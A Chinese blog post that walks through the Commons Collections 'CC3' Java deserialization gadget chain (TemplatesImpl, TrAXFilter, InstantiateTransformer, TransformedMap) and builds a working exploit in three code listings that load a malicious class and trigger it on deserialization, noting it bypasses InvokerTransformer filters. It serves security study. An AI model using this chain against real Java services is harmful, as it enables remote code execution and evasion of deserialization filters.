Java反序列化 CC3链

参考链接

https://www.bilibili.com/video/BV1Zf4y1F74K

环境搭建

和jdk貌似关系不大,用之前的8u65或者8u71都可以
cc用的3.2.1

利用链分析

寻找链子的过程:
ClassLoader.defineClass()->TemplatesImpl#defineClass()->TemplatesImpl#defineTransletClasses()->
TemplatesImpl#getTransletInstance()->TemplatesImpl#newTransformer()->TrAXFilter#TrAXFilter()
->InstantiateTransformer#transform()->转化为CC1调用xxx.transform()
CC3和之前的链子存在一些差异,总结来说如下:

  • 不用InvokerTransformer命令执行,改用defineClass(),利用动态类加载来代码执行
  • 使用InstantiateTransformer#transform()来创建想要的实例对象,进而触发动态加载代码块

Exp编写

从defineClass()开始找的过程省略了,就是一直find usage,最后能走进TemplatesImpl。
关于defineClass()为什么能代码执行,去看基础知识的动态类加载。

TemplatesImpl#defineTransletClasses()

这个函数调用了defineClass(),并且由于TemplatesImpl是可序列化的,通过反射去改变像_bytecodes、_class[]这种的参数,可以控制程序的执行流。
image.png
defineTransletClasses()还是private的,find usage看哪个函数调用了它。
可以看到三个get开头、第四个字符大写的函数,实际上这里可以联想到fastjson的调用任意getter方法。
这里不深究,后面fastjson反序列化还会调试到这里,这里以getTransletInstance为例。
image.png

TemplatesImpl#getTransletInstance()

这里显然用反射控制一下_name就可以把链子串起来了。
image.png
getTransletInstance还是private的,再find usage往上找,只有一个结果
image.png

TemplatesImpl#newTransformer()

这里终于找到public的方法了,接下来可以去其他类找,谁调用了newTransformer
image.png
继续find usage,最终可以找到TrAXFilter#TrAXFilter()
image.png

TrAXFilter#TrAXFilter()

这个是个public的构造函数,直接正常创建TrAXFilter对象,就会触发调用链条
image.png
到这里我们测试一下是否可以执行代码,Exp如下:

public class TestCC3 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
            //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //触发调用函数
//        templates.newTransformer();
        new TrAXFilter(templates);
    }
}

image.png
现在问题是,怎么构造链子,能创建出一个自己想要的对象?
这里ysosierial的作者在CC3的payload里给出了答案,用InstantiateTransformer#transform。

InstantiateTransformer#transform()

这个类可序列化,transform里有段用反射获取构造函数,然后生成对象的代码,完美符合我们的要求。image.png
传参的细枝末节不细写了,尝试编写Exp:

public class TestCC3 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
            //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //触发调用函数
//        templates.newTransformer();
        // new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

    }
}

image.png

转化为调用xxx.transform

现在把问题转化为熟悉的调用xxx.transform,直接用CC1/CC6的链子即可,传参不再细说,最终Exp如下:

public class TestCC3 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
            //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //触发调用函数
//        templates.newTransformer();
//        new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);


        //结合CC1-TransformedMap调用instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("jasper");
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value","Jasper");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

总结

CC3在CC1、CC6的runtime对象、InvokerTransformer类被过滤时可以用来绕过。

posted @ 2023-08-18 21:13  Jasper_sec  阅读(73)  评论(0编辑  收藏  举报